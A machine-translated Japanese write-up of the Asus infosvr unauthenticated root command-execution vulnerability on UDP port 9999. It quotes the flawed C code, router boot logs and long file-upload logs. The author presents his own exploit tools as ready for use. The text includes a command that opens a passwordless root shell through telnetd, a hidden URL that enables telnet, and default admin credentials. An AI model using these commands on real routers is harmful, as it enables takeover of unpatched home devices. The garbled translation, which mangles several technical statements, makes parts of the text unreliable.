Asusルーターのルート脆弱性を悪用する

2015年初頭、Asusはルーターの重大な脆弱性を修正しました。 ホールはinfosvrと呼ばれるサービスにあり、ローカルネットワーク上でルーターを自動的に検出することでルーターの構成を容易にするためにAsusユーティリティによって使用されました。 この脆弱性により、root特権でコマンドを実行できるようになり(結局infosvrrootになります )、攻撃者はシステムを完全に制御できるようになりました。

しかし、Asusはパッチを当てたファームウェアをリリースしました。 今ではすべてが過去です。 かどうか? うーん...そして、普通の人はどれくらいの頻度でルーターのファームウェアを更新しますか?



詳細、発見の歴史、研究、指示、そしてエクスプロイトを求めています。

どうしたの?


infosvrサービスはポート9999( UDP )でリッスンします。 パケットが少なくとも512バイトのサイズで到着すると、パケットを分析し、そのタイプに応じて、対応する応答アクションを実行します。 たとえば、ルーターの一部の設定に関する情報を収集し、デバイス検出プログラムに送信します。これは、ルーターのIPアドレスを見つけるのに役立ちます。 しかし、ルーターによるシステムコマンドの実行を伴うパッケージのタイプもあります。 Asus'ovtsyが台無しになったのはその時でした。 このようなパッケージの処理コードのエラーにより、コマンドは許可なしに実行できます。 これは、次のリストの( memcpy(phdr_ex-> MacAddress、mac、6)== 0)です(必須ではない行は削除されます)。

common.cのprocessPacket関数(int sockfd、char * pdubuf)の一部
if (phdr->OpCode!=NET_CMD_ID_GETINFO && phdr->OpCode!=NET_CMD_ID_GETINFO_MANU) { phdr_ex = (IBOX_COMM_PKT_HDR_EX *)pdubuf; // Check Mac Address if (memcpy(phdr_ex->MacAddress, mac, 6)==0) { _dprintf("Mac Error %2x%2x%2x%2x%2x%2x\n", (unsigned char)phdr_ex->MacAddress[0], (unsigned char)phdr_ex->MacAddress[1], (unsigned char)phdr_ex->MacAddress[2], (unsigned char)phdr_ex->MacAddress[3], (unsigned char)phdr_ex->MacAddress[4], (unsigned char)phdr_ex->MacAddress[5] ); return NULL; } phdr_res->Info = phdr_ex->Info; memcpy(phdr_res->MacAddress, phdr_ex->MacAddress, 6); } 


ほとんどの場合、 memcmpの代わりにmemcmpが使用されるはずでした (コード行をコピーして少し修正するときにこれが起こります)が、==の代わりに使用されるはずです!=。 ただし、このエラーが存在しなくても、侵入用のMACアドレスを知ることで十分です。

「認証」に成功すると、パッケージのコマンドが実行されます。

同じ機能。 コードについてもう少し
 switch(phdr->OpCode) { case NET_CMD_ID_MANU_CMD: #define MAXSYSCMD 256 char cmdstr[MAXSYSCMD]; PKT_SYSCMD *syscmd; syscmd = (PKT_SYSCMD *)(pdubuf+sizeof(IBOX_COMM_PKT_HDR_EX)); if (syscmd->len>=MAXSYSCMD) syscmd->len=MAXSYSCMD; syscmd->cmd[syscmd->len]=0; syscmd->len=strlen(syscmd->cmd); fprintf(stderr,"system cmd: %d %s\n", syscmd->len, syscmd->cmd); sprintf(cmdstr, "%s > /tmp/syscmd.out", syscmd->cmd); system(cmdstr); 



さて、あなたはクエストをしたいですか?


印象的なスケール? 実際、すべてがそれほど悪くはありませんでした(そして今、「穴」が閉じられたとき-一般的には良い)。 実際、 infosvrbr0インターフェースで動作します。 他のインターフェイス間のブリッジを使用します。 ルーターがIP共有モード(一般IPモード)で動作する場合、 br0eth0wlan0を組み合わせます。 eth1WAN )はここには含まれていません。 つまり 誰も外部ネットワークからクロールしないことをすでに喜んでいます。 しかし、ルーターがアクセスポイントモードの場合、 br0はすべてのインターフェイスを統合します...

発見の歴史


どういうわけか、 UART 、つまりハードウェアコンソールを介してルーターを操作したかったのです。 「なぜこんなに難しいの? Telnetに来てください。」-あなたは言うでしょう。 あった! これはRT-N10Eです! (彼はRT-N10LXです)。

ここにtelnetスイッチがありますか? 私も


後で私はそれが次のようになる可能性があることがわかりました:
192.168.1.1/telnetd.cgi?enable=1



ルーターがどれほどくだらないかについてはあまり語りません。 誰が直面した-知っています。 それに気にする必要のない幸運な人のために、Asus RT-xxxE(またはRT-xxxLX)ルーターにはRealtek製のプロセッサーがあり、代替ファームウェアはないということです! コミュニティは試みていますが。 公式ファームウェアでは、数年前にPPTPを使用しました。 絶え間ない凍結、中断、その他の喜び。 PPPoEは最初はまったく上昇しませんでした(一部のファームウェアで修正されました)。 これで、このルーターはWiFiとイーサネット間のブリッジのように機能します。

RT-xxxEとRT-xxxLXの違いの詳細
Asus RT-N10EとAsus RT-N10LXの違い
実際、これは同じルーターです。AsusRT-N10LXには2 dBiアンテナ、RT-N10E-5 dBiがあります。 RT-N10LXの仕様は、IEEE 802.11dを追加で示しています。実際には、ルーターは通信の分野における地域の法的制限のみを考慮しているため、より弱いアンテナが使用されています。 個人的に、2 dBiの小さなアンテナを備えたコピー(アセンブリの2012年)に出会いましたが、ルーターとボックスのすべてのマークは、これがRT-N10LXではなくRT-N10Eであることを示しています。 公式Webサイトの情報を注意深く見ると、「アンテナの種類は各国の現地の規制や要件によって異なる」と「このモデルはEU、中国、南アメリカでのみ販売されています」と記載されています。 彼らが言うように、同じ卵、プロファイルでのみ。 これら2つのモデルのファームウェアは同じです。

Asus RT-N10E / LXとRT-N12E / LXの違い
12番目のモデルでは、同じプロセッサーですが、コントローラーが異なります-RTL8192CE。2つのMIMOを使用でき、理論的には最大300 Mbit / sを提供します。 RT-N12EとRT-N12LXバージョンの違いはアンテナにあります。

Asus RT-N10E / LXとAsus RT-N10の違い
ASUSにはRT-N10およびRT-N12ルーターもあります。 そして、ここで理解することが重要です。これらは、Broadcomチップに基づいて組み立てられた他のデバイスです。 RT-N10およびRT-N12には、「from Oleg」を含む代替のファームウェア愛好家がいます。 購入するときは注意してください!
出所


したがって、UARTに接続されています。

UARTに接続


電源を入れます。 ブートプロセスが表示されます。 (キャップ​​:ところで、これはtelnetで見ることはできません。それだけです!)
そのため、ルーターの読み込みは/ dev / console(/ dev / ttyS0)を調べます
=========== SPI ==============
SDRAMクロック:156MHZ
-強制的にシングルIOモードにする-| chipIDなしSft chipSize blkSize secSize pageSize sdCk opCk chipName |
| 0 ef4016h 0h 400000h 10000h 1000h 100h 104 39 W25Q32 |
---- RealTek(RTL8196C)at 2012.04.09-16:54 + 0800バージョンv1.1f [16ビット](390MHz)

#### return_addr:0x05010000、root_bin_offset:0x050dd012
画像開始= 0x80500000にジャンプ...
カーネルの解凍:
Linuxの圧縮解除...完了、カーネルの起動。
カーネルの解凍が完了しました。
開始アドレス:0x80003600
RTL8192C / RTL8188Cドライバーバージョン1.6(2011-07-18)

RTL8186 10/100 NIC-ケネルスタックサイズの順序の調査[2] ...
チップ名:8196C、チップrevid:4
まだ
eth0が追加されました。 vid = 9メンバーポート0x10 ...
eth1が追加されました。 vid = 8メンバーポート0x1 ...
eth2が追加されました。 vid = 9メンバーポート0x2 ...
eth3が追加されました。 vid = 9メンバーポート0x4 ...
eth4が追加されました。 vid = 9メンバーポート0x8 ...
[peth0]が追加され、[eth1]へのマッピング...
初期化開始:BusyBox v1.13.4(2014-09-18 18:01:50 CST)

## flash.c無料のapmib ##
Init Start ...

## system / sysconf.c free apmib ##

## flash.c無料のapmib ##
===== BSMIテストのパラメーターを設定=====
Initブリッジインターフェイス...
syslogはログに64KBを使用します(7ローテート、1オリジナル、それぞれ8KB)
Init Wlanアプリケーション...

## flash.c無料のapmib ##

## flash.c無料のapmib ##
Init Firewallルール...
現在WAN IPはありません!
Init WANインターフェイス...
start_wan:sysop 0 wan_iface eth1 lan_iface br0 wisp_id 0 act_source 1
set_dhcp_client:sysop 0 wan_iface eth1 lan_iface br0 wisp_id 0 act_source 1
start_wan_dhcp_client:iface eth1
そのようなプロセスはありません

MiniIGD v1.07(2013.05.21-07:19 + 0000)。

システムTZ ENV = GMT-2
ネットワークマップを再起動

## system / sysconf.c free apmib ##
infosvrを開始
ルーターIP = 192.168.1.1
mac addr = 50:46:5d:86:76:fc
WLAN0_WLAN_DISABLED = 0 ## flash.c free apmib ##
sh:## flash.c:不明なオペランド
#ワンダックを開始!
httpdを起動します!

#1:直接ルールを有効にする

ダウンロードが完了した後、システムの調査を開始しました。コンソールを使用して取得できるソフトウェアバージョン、ハードウェア、その他の情報です。 しかし、それについては後で。

WPSボタンのクリック、Webフェイスを介した設定、Asusユーティリティの使用など、標準的なユーザーアクションに対する反応を見るのは興味深いことです。実際、関連情報がコンソールに表示されました。 また、この事実に言及する必要があります。Webインターフェイスを開こうとすると、 httpdは (おそらく)ログインとパスワードを/ dev / console(/ dev / ttyS0)に書き込んで入力します!
ユーザーID:admin
ユーザーパス:asus-rt
確かに、これはtelnet(/ dev / ttyp0)では取得できません。

Asusユーティリティパッケージ全体(デバイス検出、ルーターセットアップウィザード、およびファームウェアの復元)のうち、ルーターセットアップウィザードのみがコンソールの応答を引き起こしました。 つまり、アプリケーションを起動して「次へ」ボタンをクリックすると、次の行が表示されます。
システムcmd:17 nvram get sw_mode
rund:echo 1> /tmp/syscmd.out
2 1

システムcmd:17 nvram get sw_mode
rund:echo 1> /tmp/syscmd.out
2 1

システムcmd:17 nvram get sw_mode
rund:echo 1> /tmp/syscmd.out
2 1

システムcmd:17 nvram get sw_mode
rund:echo 1> /tmp/syscmd.out
2 1

システムcmd:19 nvram get x_Setting
sh:nvram:見つかりません
rund:nvram get x_Setting> /tmp/syscmd.out
0 1

システムcmd:19 nvram get x_Setting
sh:nvram:見つかりません
rund:nvram get x_Setting> /tmp/syscmd.out
0 1

システムcmd:19 nvram get x_Setting
sh:nvram:見つかりません
rund:nvram get x_Setting> /tmp/syscmd.out
0 1

システムcmd:19 nvram get x_Setting
sh:nvram:見つかりません
rund:nvram get x_Setting> /tmp/syscmd.out
0 1

うーん...
ルーターセットアップウィザードはこれらのコマンドを送信しますか? Wiresharkを調べました。はい、これらのコマンドはRSWを使用してUDPパケットで送信されます。 しかし、それらを自分のものに置き換えるとどうなりますか?

私は最初ではないことが判明

荷物を拾い始める前に、グーグルで検索することにしました。 そして、彼は何か( 1つと 2つ )をグーグルで検索しました。 2番目のリンクは、脆弱性の詳細な説明とLinuxの簡単な悪用を提供します(Pythonもあります)。

AsusCmdバイク


私はそれを正確に95%の時間使用しているので、Windowsでそのようなプログラムを使いたいです。 コマンドを実行するためにUbuntuから仮想マシンを起動したくありません。

寸法

エクスプロイトの記述とデバッグのプロセス、およびinfosvrソースの掘り下げの過程で、この「ホール」の「パラメーター」が見つかりました。
つまり、そのサイズ。 それらは:
受信および送信バッファのサイズはそれぞれ420バイトです。 そして、すべてが良いでしょうが、実際には、ルーターは応答で420バイトしか送信できません。 しかし、レセプションでは、事態はさらに悪化します。 実際、コマンドinfosvrを受け取った後、 infosvrは256文字に切り捨ててから実行します。 しかし、これは最後の制限ではありません。 256文字未満の長さでコマンドを実行すると、 infosvr セグメンテーション違反のクラッシュでクラッシュします。 コマンドは完了しましたが、応答も他の何かを実行する機能もありません。 経験的に、ユーザーコマンドの最大安全長が見つかりました。 これは238文字です。 だから、「穴」の大きさ:238-チーム、420-答え。

詳細(例付き)
infosvrの原因
system( "echo"一部のテキスト "> / var / myText; cat / var / myText> /tmp/syscmd.out");

完全なコマンドは次のとおりです。
'echo "Some text"> / var / myText; cat / var / myText> /tmp/syscmd.out'

どこで:
'echo "Some text"> / var / myText; cat / var / myText'
-AsusCmdを使用してユーザーが送信するコマンド。
'> /tmp/syscmd.out'
-infosvrコードでハードコードされてます。

ところで、なぜ/tmp/syscmd.outにリダイレクトする必要があるのですか? そして、そこから正確に何が420バイトのバッファに読み込まれ、コマンドへの応答が送信されます。

「安全な長さ制限」は、特にユーザーコマンドを指します。

つまり カスタムコマンドの長さが238文字の場合、完全なコマンドは238 + 18 = 256になります。 開発者は、コマンドを256文字にカットするときにinfosvrがクラッシュするのを避けたいのではないでしょうか? strlen( "> /tmp/syscmd.out")を考慮していないようです。


このエクスプロイトは記述され、デバッグされます。 使用できます

作業例


しかし、ルーターを操縦することはあまり便利ではありません。 そして、この場合、コマンドの238文字の制限があまり目立たないのであれば、420文字の回答の出力の制限はすでに悲しいです。 しかし、方法があります! busyboxはルーター上非常に制限されていますが、 telnetdはまだあります! 次のように、非標準ポートで実行することをお勧めします 保護はありません。接続にパスワードは必要ありません。
AsusCmd.exe "telnetd -l / bin / sh -p777"
さて、今度は別のもの! チームの履歴やタブの追加など、すべての設備を完全に使用できます。 Telnetが応答を停止した場合、ルーターを再起動せずに再起動できます。 まず、それに関連付けられたshを釘付けする必要があります。
AsusCmd.exe "killall -9 sh"
このコマンドを実行すると、 / dev / consoleに関連付けられているshも強制終了されることに注意してください。 これで、 telnetdを再度実行できます。

素晴らしい。 トピックは使い果たされていますか? そうではありません。

宴会の継続


したがって、使用可能なすべてのコマンドを使用できます。 書き込み可能なディレクトリ(ramfs / var )でファイルを作成および削除できます。 いくつかのコマンドを使用して長いテキストファイルを作成できます。 しかし、テキストだけではありません! 結局のところ、Linuxのechoはテキストをバイナリデータに変換できます! これは、プログラムをルーターにアップロードできることを意味します。

AsusBinWrite

アイデアは簡単です:


しかし、それは言葉ですべて簡単でシンプルです。 実際には、いくつかの不快な要素を扱っています。


コマンドの有効な長さの制限により、すべてが明確になりました。追加のパケットを送信するだけです。 この場合の悪い点は、伝送速度が低下することです。 結局のところ、ルータープロセッサは多くの小さなパケットを処理する必要があります。 つまり 転送速度は、ルーターのプロセッサ速度に正比例します。 ( cpuloadでテスト済み:AsusBinWriteの実行中、ルーターのCPUは100%ロードされています)。

UDPはより複雑です。 転送の正確性を何らかの形で制御する必要があります。 原始的な方法-ファイルの最後に次のバイトを追加するだけでは適切ではありません。 ルータに向かう途中の1つのパケットが失われたり重複したりした場合、ファイルはすでに欠陥があります。 そのため、最初に個々のパーツを異なるファイルに書き込み、その内容を確認することが決定されました。 そして、それらを組み合わせることができます。 そしてもう1つ:最後に結合するのではなく、特定の数の部品を転送した後に結合する必要があります。 1つの部分は、たとえば40バイト(ファイル部分のサイズ)ではなく、すべて4 KB(ページ)のメモリ空間を占有するためです。 そして、1000個の部品がある場合は? RAMが十分ではありません(RT-N10Eでは16MBのみです)。 マージが成功した後(ルーター上のターゲットファイルのサイズを増やす記号によって成功も確認されます)、これらの部分は削除されます。 そのため、ループ内でファイル全体を最後まで転送します。 UDPを介したルーターへの信頼できるファイル転送のプロトコルが判明しました。

実行可能ファイルを転送する例

作業のアルゴリズムをよりよく理解するために、ファイル転送中に/ dev / console(/ dev / ttyS0)でが起こるを確認し、これをAsusBinWrite自体の出力と比較することを提案します。

AsusBinWrite出力(パケット損失の場合に注意)
255.255.255.255へのファイルのアップロードを開始...
ソースファイル: 'Useful \ ldd'ターゲットファイル: '/ var / ldd'
0.5%742.4 Bpsパート1(49 B; cmd:237 ch)192.168.1.1:OK
1.0%106.5 Bpsパート2(49 B; cmd:237 ch)ロスト
1.0%32.7 Bpsパート2(49 B; cmd:237 ch)192.168.1.1:OK
1.5%347.5 Bpsパート3(49 B; cmd:237 ch)192.168.1.1:OK
1.9%159.1 Bpsパート4(49 B; cmd:237 ch)שש192.168.1.1:OK
2.4%150.3 Bpsパート5(49 B; cmd:237 ch)ששロスト
2.4%32.2 Bpsパート5(49 B; cmd:237 ch)192.168.1.1:OK
2.9%376.9 Bpsパート6(49 B; cmd:237 ch)שロスト
2.9%32.6 Bpsパート6(49 B; cmd:237 ch)192.168.1.1:OK
3.4%401.6 Bpsパート7(49 B; cmd:237 ch)ש192.168.1.1:OK
3.9%146.3 Bpsパート8(49 B; cmd:237 ch)192.168.1.1:OK
4.4%102.3 Bpsパート9(49 B; cmd:237 ch)ש192.168.1.1:OK
4.8%150.0 Bpsパート10(48 B; cmd:235 ch)192.168.1.1:OK
5.3%176.5 Bpsパート11(48 B; cmd:235 ch)192.168.1.1:OK
5.8%120.9 Bpsパート12(48 B; cmd:235 ch)שש192.168.1.1:OK
6.3%145.5 Bpsパート13(48 B; cmd:235 ch)192.168.1.1:OK
6.8%144.6 Bpsパート14(48 B; cmd:235 ch)שロスト
6.8%31.7 Bpsパート14(48 B; cmd:235 ch)192.168.1.1:OK
7.2%285.7 Bpsパート15(48 B; cmd:235 ch)192.168.1.1:OK
7.7%147.7 Bpsパート16(48 B; cmd:235 ch)LOST
7.7%32.0 Bpsパート16(48 B; cmd:235 ch)192.168.1.1:OK
8.2%333.3 Bpsパート17(48 B; cmd:235 ch)ש192.168.1.1:OK
8.7%146.3 Bpsパート18(48 B; cmd:235 ch)ש192.168.1.1:OK
9.1%148.1 Bpsパート19(48 B; cmd:235 ch)ש192.168.1.1:OK
9.6%141.6 Bpsパート20(48 B; cmd:235 ch)שש192.168.1.1:OK
10.1%145.0 Bpsパート21(48 B; cmd:235 ch)192.168.1.1:OK
10.6%145.5 Bpsパート22(48 B; cmd:235 ch)ש192.168.1.1:OK
11.0%148.1 Bpsパート23(48 B; cmd:235 ch)שש192.168.1.1:OK
11.5%145.9 Bpsパート24(48 B; cmd:235 ch)ש192.168.1.1:OK
12.0%137.5 Bpsパート25(48 B; cmd:235 ch)192.168.1.1:OK
12.5%146.3 Bpsパート26(48 B; cmd:235 ch)192.168.1.1:OK
12.9%151.9 Bpsパート27(48 B; cmd:235 ch)שש192.168.1.1:OK
13.4%172.0 Bpsパート28(48 B; cmd:235 ch)ש192.168.1.1:OK
13.9%126.0 Bpsパート29(48 B; cmd:235 ch)שש192.168.1.1:OK
14.4%173.3 Bpsパート30(48 B; cmd:235 ch)שロスト
14.4%31.7 Bpsパート30(48 B; cmd:235 ch)192.168.1.1:OK
14.8%358.2 Bpsパート31(48 B; cmd:235 ch)ש192.168.1.1:OK
15.3%144.6 Bpsパート32(48 B; cmd:235 ch)ש192.168.1.1:OK
15.8%149.5 Bpsパート33(48 B; cmd:235 ch)שש192.168.1.1:OK
16.3%137.1 Bpsパート34(48 B; cmd:235 ch)ש192.168.1.1:OK
16.7%153.8 Bpsパート35(48 B; cmd:235 ch)ש192.168.1.1:OK
17.2%138.7 Bpsパート36(48 B; cmd:235 ch)ש192.168.1.1:OK
17.7%145.5 Bpsパート37(48 B; cmd:235 ch)192.168.1.1:OK
18.2%140.4 Bpsパート38(48 B; cmd:235 ch)192.168.1.1:OK
18.7%154.3 Bpsパート39(48 B; cmd:235 ch)LOST
18.7%32.0 Bpsパート39(48 B; cmd:235 ch)LOST
18.7%32.0 Bpsパート39(48 B; cmd:235 ch)LOST
18.7%31.6 Bpsパート39(48 B; cmd:235 ch)192.168.1.1:OK
19.1%428.6 Bpsパート40(48 B; cmd:235 ch)ש192.168.1.1:OK
19.6%175.2 Bpsパート41(48 B; cmd:235 ch)ש192.168.1.1:OK
20.1%120.6 Bpsパート42(48 B; cmd:235 ch)192.168.1.1:OK
20.6%146.3 Bpsパート43(48 B; cmd:235 ch)ש192.168.1.1:OK
21.0%150.0 Bpsパート44(48 B; cmd:235 ch)שש192.168.1.1:OK
21.5%145.0 Bpsパート45(48 B; cmd:235 ch)ששロスト
21.5%31.0 Bpsパート45(48 B; cmd:235 ch)192.168.1.1:OK
22.0%363.6 Bpsパート46(48 B; cmd:235 ch)ש192.168.1.1:OK
22.5%137.9 Bpsパート47(48 B; cmd:235 ch)192.168.1.1:OK
22.9%154.3 Bpsパート48(48 B; cmd:235 ch)ש192.168.1.1:OK
23.4%145.0 Bpsパート49(48 B; cmd:235 ch)ששロスト
23.4%31.9 Bpsパート49(48 B; cmd:235 ch)192.168.1.1:OK
23.9%360.9 Bpsパート50(48 B; cmd:235 ch)ששロスト
23.9%31.8 Bpsパート50(48 B; cmd:235 ch)192.168.1.1:OK
24.4%345.3 Bpsパート51(48 B; cmd:235 ch)192.168.1.1:OK
24.8%151.4 Bpsパート52(48 B; cmd:235 ch)שロスト
24.8%31.6 Bpsパート52(48 B; cmd:235 ch)192.168.1.1:OK
25.3%342.9 Bpsパート53(48 B; cmd:235 ch)ש192.168.1.1:OK
25.8%145.0 Bpsパート54(48 B; cmd:235 ch)שש192.168.1.1:OK
26.3%151.4 Bpsパート55(48 B; cmd:235 ch)ש192.168.1.1:OK
26.7%145.5 Bpsパート56(48 B; cmd:235 ch)ש192.168.1.1:OK
27.2%147.7 Bpsパート57(48 B; cmd:235 ch)ש192.168.1.1:OK
27.7%143.7 Bpsパート58(48 B; cmd:235 ch)ש192.168.1.1:OK
28.2%142.9 Bpsパート59(48 B; cmd:235 ch)ש192.168.1.1:OK
28.6%142.9 Bpsパート60(48 B; cmd:235 ch)ש192.168.1.1:OK
29.1%149.1 Bpsパート61(48 B; cmd:235 ch)192.168.1.1:OK
29.6%142.4 Bpsパート62(48 B; cmd:235 ch)ש192.168.1.1:OK
30.1%142.9 Bpsパート63(48 B; cmd:235 ch)192.168.1.1:OK
30.6%145.9 Bpsパート64(48 B; cmd:235 ch)ש192.168.1.1:OK
31.0%148.1 Bpsパート65(48 B; cmd:235 ch)ש192.168.1.1:OK
31.5%144.6 Bpsパート66(48 B; cmd:235 ch)ש192.168.1.1:OK
32.0%141.2 Bpsパート67(48 B; cmd:235 ch)ש192.168.1.1:OK
32.5%142.9 Bpsパート68(48 B; cmd:235 ch)192.168.1.1:OK
32.9%151.4 Bpsパート69(48 B; cmd:235 ch)ש192.168.1.1:OK
33.4%143.7 Bpsパート70(48 B; cmd:235 ch)שש192.168.1.1:OK
33.9%146.8 Bpsパート71(48 B; cmd:235 ch)ש192.168.1.1:OK
34.4%183.9 Bpsパート72(48 B; cmd:235 ch)192.168.1.1:OK
34.8%144.1 Bpsパート73(48 B; cmd:235 ch)שש192.168.1.1:OK
35.3%117.1 Bpsパート74(48 B; cmd:235 ch)ש192.168.1.1:OK
35.8%144.6 Bpsパート75(48 B; cmd:235 ch)192.168.1.1:OK
36.3%144.6 Bpsパート76(48 B; cmd:235 ch)192.168.1.1:OK
36.7%151.4 Bpsパート77(48 B; cmd:235 ch)שש192.168.1.1:OK
37.2%172.0 Bpsパート78(48 B; cmd:235 ch)192.168.1.1:OK
37.7%119.7 Bpsパート79(48 B; cmd:235 ch)192.168.1.1:OK
38.2%143.7 Bpsパート80(48 B; cmd:235 ch)192.168.1.1:OK
38.6%151.9 Bpsパート81(48 B; cmd:235 ch)שש192.168.1.1:OK
39.1%143.7 Bpsパート82(48 B; cmd:235 ch)ש192.168.1.1:OK
39.6%146.8 Bpsパート83(48 B; cmd:235 ch)ש192.168.1.1:OK
40.1%183.9 Bpsパート84(48 B; cmd:235 ch)שש192.168.1.1:OK
40.5%117.1 Bpsパート85(48 B; cmd:235 ch)שש192.168.1.1:OK
41.0%142.9 Bpsパート86(48 B; cmd:235 ch)ש192.168.1.1:OK
41.5%147.2 Bpsパート87(48 B; cmd:235 ch)שש192.168.1.1:OK
42.0%179.1 Bpsパート88(48 B; cmd:235 ch)192.168.1.1:OK
42.5%145.5 Bpsパート89(48 B; cmd:235 ch)שש192.168.1.1:OK
42.9%136.8 Bpsパート90(48 B; cmd:235 ch)192.168.1.1:OK
43.4%120.0 Bpsパート91(48 B; cmd:235 ch)192.168.1.1:OK
43.9%151.9 Bpsパート92(48 B; cmd:235 ch)שש192.168.1.1:OK
44.4%143.3 Bpsパート93(48 B; cmd:235 ch)ש192.168.1.1:OK
44.8%146.3 Bpsパート94(48 B; cmd:235 ch)ש192.168.1.1:OK
45.3%145.9 Bpsパート95(48 B; cmd:235 ch)שש192.168.1.1:OK
45.8%138.7 Bpsパート96(48 B; cmd:235 ch)192.168.1.1:OK
46.3%151.4 Bpsパート97(48 B; cmd:235 ch)שロスト
46.3%31.8 Bpsパート97(48 B; cmd:235 ch)192.168.1.1:OK
46.7%436.4 Bpsパート98(48 B; cmd:235 ch)שש192.168.1.1:OK
47.2%138.7 Bpsパート99(48 B; cmd:235 ch)LOST
47.2%32.0 Bpsパート99(48 B; cmd:235 ch)192.168.1.1:OK
47.7%378.0 Bpsパート100(48 B; cmd:237 ch)שש192.168.1.1:OK
/ var / lddパーツへのマージ1..16(16個; cmd:228 ch)... OK(777 B)
/ var / lddパーツ17..32(16個; cmd:238 ch)へのマージ... OK(1545 B)
/ var / lddパーツ33..48(16個; cmd:238 ch)へのマージ... OK(2313 B)
/ var / lddパーツ49..64(16個; cmd:238 ch)へのマージ... OK(3081 B)
/ var / lddパーツ65..80(16個; cmd:238 ch)へのマージ... OK(3849 B)
/ var / lddパーツ81..96(16個; cmd:238 ch)へのマージ... OK(4617 B)
/ var / lddパーツ97..100(4個; cmd:71 ch)へのマージ... OK(4809 B)
書面4.70KB / 9.85KB 77.0 Bps(平均)残り:01:08(01:02/02:10)

48.2%5.2 Bpsパート101(49 B; cmd:237 ch)192.168.1.1:OK
48.7%116.7 Bpsパート102(49 B; cmd:237 ch)שש192.168.1.1:OK
49.1%196.8 Bpsパート103(49 B; cmd:237 ch)LOST
49.1%32.7 Bpsパート103(49 B; cmd:237 ch)192.168.1.1:OK
49.6%418.8 Bpsパート104(49 B; cmd:237 ch)שש192.168.1.1:OK
50.1%138.8 Bpsパート105(49 B; cmd:237 ch)192.168.1.1:OK
50.6%150.8 Bpsパート106(49 B; cmd:237 ch)192.168.1.1:OK
51.1%153.6 Bpsパート107(49 B; cmd:237 ch)שש192.168.1.1:OK
51.6%151.7 Bpsパート108(49 B; cmd:237 ch)ש192.168.1.1:OK
52.1%142.4 Bpsパート109(49 B; cmd:237 ch)ש192.168.1.1:OK
52.5%145.5 Bpsパート110(48 B; cmd:235 ch)ש192.168.1.1:OK
53.0%150.9 Bpsパート111(48 B; cmd:235 ch)שロスト
53.0%31.7 Bpsパート111(48 B; cmd:235 ch)192.168.1.1:OK
53.5%410.3 Bpsパート112(48 B; cmd:235 ch)שש192.168.1.1:OK
54.0%143.3 Bpsパート113(48 B; cmd:235 ch)ש192.168.1.1:OK
54.4%144.6 Bpsパート114(48 B; cmd:235 ch)שש192.168.1.1:OK
54.9%141.6 Bpsパート115(48 B; cmd:235 ch)192.168.1.1:OK
55.4%150.0 Bpsパート116(48 B; cmd:235 ch)ש192.168.1.1:OK
55.9%140.4 Bpsパート117(48 B; cmd:235 ch)ש192.168.1.1:OK
56.3%151.9 Bpsパート118(48 B; cmd:235 ch)ש192.168.1.1:OK
56.8%142.0 Bpsパート119(48 B; cmd:235 ch)ש192.168.1.1:OK
57.3%145.5 Bpsパート120(48 B; cmd:235 ch)192.168.1.1:OK
57.8%140.8 Bpsパート121(48 B; cmd:235 ch)192.168.1.1:OK
58.3%154.3 Bpsパート122(48 B; cmd:235 ch)ש192.168.1.1:OK
58.7%144.6 Bpsパート123(48 B; cmd:235 ch)192.168.1.1:OK
59.2%141.2 Bpsパート124(48 B; cmd:235 ch)192.168.1.1:OK
59.7%138.7 Bpsパート125(48 B; cmd:235 ch)192.168.1.1:OK
60.2%151.9 Bpsパート126(48 B; cmd:235 ch)ש192.168.1.1:OK
60.6%142.9 Bpsパート127(48 B; cmd:235 ch)שロスト
60.6%31.9 Bpsパート127(48 B; cmd:235 ch)192.168.1.1:OK
61.1%378.0 Bpsパート128(48 B; cmd:235 ch)ש192.168.1.1:OK
61.6%142.4 Bpsパート129(48 B; cmd:235 ch)192.168.1.1:OK
62.1%150.0 Bpsパート130(48 B; cmd:235 ch)שש192.168.1.1:OK
62.5%136.8 Bpsパート131(48 B; cmd:235 ch)ש192.168.1.1:OK
63.0%154.3 Bpsパート132(48 B; cmd:235 ch)192.168.1.1:OK
63.5%149.1 Bpsパート133(48 B; cmd:235 ch)ש192.168.1.1:OK
64.0%145.9 Bpsパート134(48 B; cmd:235 ch)שש192.168.1.1:OK
64.4%142.4 Bpsパート135(48 B; cmd:235 ch)שש192.168.1.1:OK
64.9%147.7 Bpsパート136(48 B; cmd:235 ch)שש192.168.1.1:OK
65.4%146.8 Bpsパート137(48 B; cmd:235 ch)ש192.168.1.1:OK
65.9%142.0 Bpsパート138(48 B; cmd:235 ch)שש192.168.1.1:OK
66.3%179.8 Bpsパート139(48 B; cmd:235 ch)שש192.168.1.1:OK
66.8%121.2 Bpsパート140(48 B; cmd:235 ch)שש192.168.1.1:OK
67.3%182.5 Bpsパート141(48 B; cmd:235 ch)שש192.168.1.1:OK
67.8%119.4 Bpsパート142(48 B; cmd:235 ch)ש192.168.1.1:OK
68.2%146.3 Bpsパート143(48 B; cmd:235 ch)ש192.168.1.1:OK
68.7%145.0 Bpsパート144(48 B; cmd:235 ch)ש192.168.1.1:OK
69.2%142.4 Bpsパート145(48 B; cmd:235 ch)ש192.168.1.1:OK
69.7%142.9 Bpsパート146(48 B; cmd:235 ch)192.168.1.1:OK
70.2%145.0 Bpsパート147(48 B; cmd:235 ch)192.168.1.1:OK
70.6%142.0 Bpsパート148(48 B; cmd:235 ch)192.168.1.1:OK
71.1%152.9 Bpsパート149(48 B; cmd:235 ch)ש192.168.1.1:OK
71.6%177.1 Bpsパート150(48 B; cmd:235 ch)192.168.1.1:OK
72.1%122.8 Bpsパート151(48 B; cmd:235 ch)שש192.168.1.1:OK
72.5%143.3 Bpsパート152(48 B; cmd:235 ch)שש192.168.1.1:OK
73.0%145.9 Bpsパート153(48 B; cmd:235 ch)שロスト
73.0%31.7 Bpsパート153(48 B; cmd:235 ch)192.168.1.1:OK
73.5%432.4 Bpsパート154(48 B; cmd:235 ch)ש192.168.1.1:OK
74.0%144.6 Bpsパート155(48 B; cmd:235 ch)שש192.168.1.1:OK
74.4%145.5 Bpsパート156(48 B; cmd:235 ch)ש192.168.1.1:OK
74.9%182.5 Bpsパート157(48 B; cmd:235 ch)שש192.168.1.1:OK
75.4%117.1 Bpsパート158(48 B; cmd:235 ch)ש192.168.1.1:OK
75.9%148.6 Bpsパート159(48 B; cmd:235 ch)שש192.168.1.1:OK
76.3% 183.9 Bps part 160 (48 B; cmd: 235 ch) ש192.168.1.1: OK
76.8% 140.4 Bps part 161 (48 B; cmd: 235 ch) ש192.168.1.1: OK
77.3% 121.2 Bps part 162 (48 B; cmd: 235 ch) 192.168.1.1: OK
